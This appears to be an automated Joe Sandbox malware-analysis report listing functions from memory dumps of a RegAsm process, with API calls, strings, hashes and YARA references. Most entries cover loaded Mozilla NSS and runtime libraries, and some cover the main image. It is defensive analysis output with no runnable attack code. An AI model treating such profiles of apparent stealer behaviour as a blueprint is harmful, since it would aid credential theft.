API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 926c5b19e101ec4f37c5e409a5cfba67bc09c96f728350d3dccf52c5916fbb21
Instruction ID: 42a25b3afa9c44f982c27acc3d09980a6015cd2ad3cdf4ae6438ba935bc8c164
Opcode Fuzzy Hash: 926c5b19e101ec4f37c5e409a5cfba67bc09c96f728350d3dccf52c5916fbb21
Instruction Fuzzy Hash: D4F05479A00204AFFB006F65DC4895A7BBDEB8625EF140019FB0583751DF75B8058775

Uniqueness

Uniqueness Score: -1.00%

Function 6CD905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CD8CFAE,?,?,?,6CD531A7), ref: 6CD905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CD8CFAE,?,?,?,6CD531A7), ref: 6CD90616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CD531A7), ref: 6CD9061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CD531A7), ref: 6CD90627

Strings

<jemalloc>, xrefs: 6CD905FA, 6CD9060F
: (malloc) Error in VirtualFree(), xrefs: 6CD9061B, 6CD90625

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: ce4700dd63be48b526b38f662f8b2d80c7db25bd9cceb4bfd8daee8c51d2d946
Instruction ID: 97469a7e22f29008386930fc8e272f2b266b619e314f8cc93cc531cc3f3be39e
Opcode Fuzzy Hash: ce4700dd63be48b526b38f662f8b2d80c7db25bd9cceb4bfd8daee8c51d2d946
Instruction Fuzzy Hash: B4E046A2A0101037F5142356BC86DBB765CDBC6138F080039FE0D83351A94AAD1A52B7

Uniqueness

Uniqueness Score: -1.00%

Function 6CEDED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEDED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEDEDCE

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

free.MOZGLUE(00000000,?,?,?,?,6CEDB04F), ref: 6CEDEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEDEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEDEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEDEEFB

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 043c36da8d79e58b9a898e3dbc50ea57fdb77205a0fbb16d9412ddffc6cd7017
Instruction ID: 25069814d4ac81cae77d262784057bf5551f5106be7a70c98f7d5e9ef81bac81
Opcode Fuzzy Hash: 043c36da8d79e58b9a898e3dbc50ea57fdb77205a0fbb16d9412ddffc6cd7017
Instruction Fuzzy Hash: C1819EB1A006059FEB14CF55C889BABB7F5BF49308F25442CE8159B751DB31F806CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e138229a602c6e3dd358a1db7b07129de676d42d6b514a189ee36f7a2ea30ff
Instruction ID: 240101ad824850c064deab0ee604ddc625c2c00bfb03ed09df427bead0ed259d
Opcode Fuzzy Hash: 2e138229a602c6e3dd358a1db7b07129de676d42d6b514a189ee36f7a2ea30ff
Instruction Fuzzy Hash: 84A159B0A01645CFDB14CF2AC594A99FBF5BF49304F44866ED48A97B50E730BA85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CDB14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDB14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDB14E2
GetCurrentThreadId.KERNEL32 ref: 6CDB1546
InitializeConditionVariable.KERNEL32(?), ref: 6CDB15BA
free.MOZGLUE(?), ref: 6CDB16B4

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 8644db6ed226578ee1521879c9dde0def244617dfead3d498b08b7c77f1c1c28
Instruction ID: 3048f7bd18f7149f0e83c70d61015f977cea9b8d675464abde6f706387b24361
Opcode Fuzzy Hash: 8644db6ed226578ee1521879c9dde0def244617dfead3d498b08b7c77f1c1c28
Instruction Fuzzy Hash: 9861F371A00700DBDB219F64C880BDEB7B5BF89308F44851DED8A67761EB31E959CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEDCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEDDAE2,?), ref: 6CEDC6C2

PR_Now.NSS3 ref: 6CEDCD35

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

Part of subcall function 6CEC6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C3F

PR_GetCurrentThread.NSS3 ref: 6CEDCD54

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

Part of subcall function 6CEC7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71CCC,00000000,00000000,?,?), ref: 6CEC729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEDCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEDCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEDCE2C

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEDCE40

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

Part of subcall function 6CEDCEE0: PORT_ArenaMark_Util.NSS3(?,6CEDCD93,?), ref: 6CEDCEEE
Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEDCD93,?), ref: 6CEDCEFC
Part of subcall function 6CEDCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEDCD93,?), ref: 6CEDCF0B
Part of subcall function 6CEDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEDCD93,?), ref: 6CEDCF1D

Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF47
Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF67
Part of subcall function 6CEDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEDCD93,?,?,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF78

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 94342a4e3804c859adcfd39996bead58b708215cd3ca1e31dcf73320919d937f
Instruction ID: d122bdac48216ad69d42c0f422b9d0335d122b1b8512e6363571eda22efc162c
Opcode Fuzzy Hash: 94342a4e3804c859adcfd39996bead58b708215cd3ca1e31dcf73320919d937f
Instruction Fuzzy Hash: 7E51A1B6B001119BEB10DF69DD40BAA73F5AF48398F360528DD599B740EB31F906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CEAEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CEAEF38

Part of subcall function 6CE99520: PK11_IsLoggedIn.NSS3(00000000,?,6CEC379E,?,00000001,?), ref: 6CE99542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CEAEF53

Part of subcall function 6CEB4C20: TlsGetValue.KERNEL32 ref: 6CEB4C4C
Part of subcall function 6CEB4C20: EnterCriticalSection.KERNEL32(?), ref: 6CEB4C60
Part of subcall function 6CEB4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CA1
Part of subcall function 6CEB4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CBE
Part of subcall function 6CEB4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CD2
Part of subcall function 6CEB4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D3A

PR_GetCurrentThread.NSS3 ref: 6CEAEF9E

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

free.MOZGLUE(00000000), ref: 6CEAEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAF016
free.MOZGLUE(00000000), ref: 6CEAF022

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 558912e6d8638a9ff4c730b2b44b248e43d5df62c33d94d178702f0b13d31252
Instruction ID: 6350b9a101a1a7d74efda79ba376e1bd1cff796dc321aa82bbc6f1254a9717ef
Opcode Fuzzy Hash: 558912e6d8638a9ff4c730b2b44b248e43d5df62c33d94d178702f0b13d31252
Instruction Fuzzy Hash: 85416271E00109AFDF018FE9DC85BEE7AB5AB48358F144029F914AB350E77599168BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE82E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE72D1A), ref: 6CE82E7E

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

PR_Now.NSS3 ref: 6CE82EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE82EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE72D1A), ref: 6CE82F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE72D1A), ref: 6CE82F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE82F81

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 0c54cd5ff8672ddc69b1d3f5622b236bf9da396f953049db963cd4cedb74a8ac
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 1831F5719031008BF720C665DC4EBAE7275EFA131CF744579D42DA7AD0EB359886C622

Uniqueness

Uniqueness Score: -1.00%

Function 6CDADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CDAD38A,?), ref: 6CDADC6F
free.MOZGLUE(?,?,?,?,?,6CDAD38A,?), ref: 6CDADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CDAD38A,?), ref: 6CDADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CDAD38A,?), ref: 6CDADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CDAD38A,?), ref: 6CDADD4A

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: d20bdf022c135811e232743433ceb0d6b83b6ed7f2717b79ff618fee51695b41
Instruction ID: 3b078d24dbc5cc57c483193a729a96a7213a363120e5659773fedd8cf0e93a13
Opcode Fuzzy Hash: d20bdf022c135811e232743433ceb0d6b83b6ed7f2717b79ff618fee51695b41
Instruction Fuzzy Hash: 5D4147B5A00605DFCB00CF99C88099AB7B5FF89318B654569DA46ABB21E771FC01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00418FF7 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00419005

Part of subcall function 004179E3: __mtinitlocknum.LIBCMT ref: 004179F9
Part of subcall function 004179E3: __amsg_exit.LIBCMT ref: 00417A05
Part of subcall function 004179E3: EnterCriticalSection.KERNEL32(00000000,00000000,?,00418651,0000000D,?,?,00418AA5,00417542,?,?,0041664B,00000000,00429F80,00416692,@), ref: 00417A0D

DecodePointer.KERNEL32(00429F08,00000020,00419148,00000000,00000001,00000000,?,0041916A,000000FF,?,00417A0A,00000011,00000000,?,00418651,0000000D), ref: 00419041
DecodePointer.KERNEL32(?,0041916A,000000FF,?,00417A0A,00000011,00000000,?,00418651,0000000D,?,?,00418AA5,00417542), ref: 00419052

Part of subcall function 004185CA: EncodePointer.KERNEL32(00000000,0041C19C,0063D400,00000314,00000000,?,?,?,?,?,0041935F,0063D400,Microsoft Visual C++ Runtime Library,00012010), ref: 004185CC

DecodePointer.KERNEL32(-00000004,?,0041916A,000000FF,?,00417A0A,00000011,00000000,?,00418651,0000000D,?,?,00418AA5,00417542), ref: 00419078
DecodePointer.KERNEL32(?,0041916A,000000FF,?,00417A0A,00000011,00000000,?,00418651,0000000D,?,?,00418AA5,00417542), ref: 0041908B
DecodePointer.KERNEL32(?,0041916A,000000FF,?,00417A0A,00000011,00000000,?,00418651,0000000D,?,?,00418AA5,00417542), ref: 00419095

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: e616fee1b39be6a143a1344c2a3e4bca80a3c19540889b6017a644f1e20f1a66
Instruction ID: 974b2294c6fe12a373d37d4b020ed98b0d59428e70571d851d51daefdc519b2a
Opcode Fuzzy Hash: e616fee1b39be6a143a1344c2a3e4bca80a3c19540889b6017a644f1e20f1a66
Instruction Fuzzy Hash: 5E31387090031ADFEF10AFA9D8847DDBBF5BB09314F14802BE514A6251DBB94D91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 6CD96590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CD8FA80: GetCurrentThreadId.KERNEL32 ref: 6CD8FA8D
Part of subcall function 6CD8FA80: AcquireSRWLockExclusive.KERNEL32(6CDDF448), ref: 6CD8FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD96727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CD967C8

Part of subcall function 6CDA4290: memcpy.VCRUNTIME140(?,?,6CDB2003,6CDB0AD9,?,6CDB0AD9,00000000,?,6CDB0AD9,?,00000004,?,6CDB1A62,?,6CDB2003,?), ref: 6CDA42C4

Strings

data, xrefs: 6CD96593

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4a4d883e629848c9abffa6e9490e0d983e1cd7bfdd55dddcd710c17f68183d98
Instruction ID: 96c6e0b59af9125caa6f16ea95da3e7d985e538578898a79ea3528c723095463
Opcode Fuzzy Hash: 4a4d883e629848c9abffa6e9490e0d983e1cd7bfdd55dddcd710c17f68183d98
Instruction Fuzzy Hash: 0BD1C075A043409FD764DF25C850B9FB7E5AFC5308F10492DE58A87BA1DB30E94ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00417DD0 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00417DDC

Part of subcall function 00418734: __getptd_noexit.LIBCMT ref: 00418737
Part of subcall function 00418734: __amsg_exit.LIBCMT ref: 00418744

__amsg_exit.LIBCMT ref: 00417DFC
__lock.LIBCMT ref: 00417E0C
InterlockedDecrement.KERNEL32(?), ref: 00417E29
_free.LIBCMT ref: 00417E3C
InterlockedIncrement.KERNEL32(0042B1C0), ref: 00417E54

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 7404e2a0eb537d2ac3b969e9e386615ff3ef65940fee721ea608a51896e84704
Instruction ID: adb2f45984a8a5959680c1ad2650459cb8d1f8a86173fc907da78d8188152259
Opcode Fuzzy Hash: 7404e2a0eb537d2ac3b969e9e386615ff3ef65940fee721ea608a51896e84704
Instruction Fuzzy Hash: D4018431A08725ABDB21AB659806BDE77F0AF04724F54405BE810A7791CB7C6EC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 0040FBCD Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000104,00000001,00000000,?,0041066B,?,00000000,?,?,00000104,?,00000104,?,?,00000000), ref: 0040FBD9
lstrcpyn.KERNEL32(C:\Users\user\Documents\,?,00000000,00000104,?,0041066B,?,00000000,?,?,00000104,?,00000104,?,?,00000000), ref: 0040FBF2
lstrlen.KERNEL32(00000104,?,0041066B,?,00000000,?,?,00000104,?,00000104,?,?,00000000), ref: 0040FC04
wsprintfA.USER32 ref: 0040FC16

Strings

%s%s, xrefs: 0040FC10
C:\Users\user\Documents\, xrefs: 0040FBEC, 0040FBF1

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
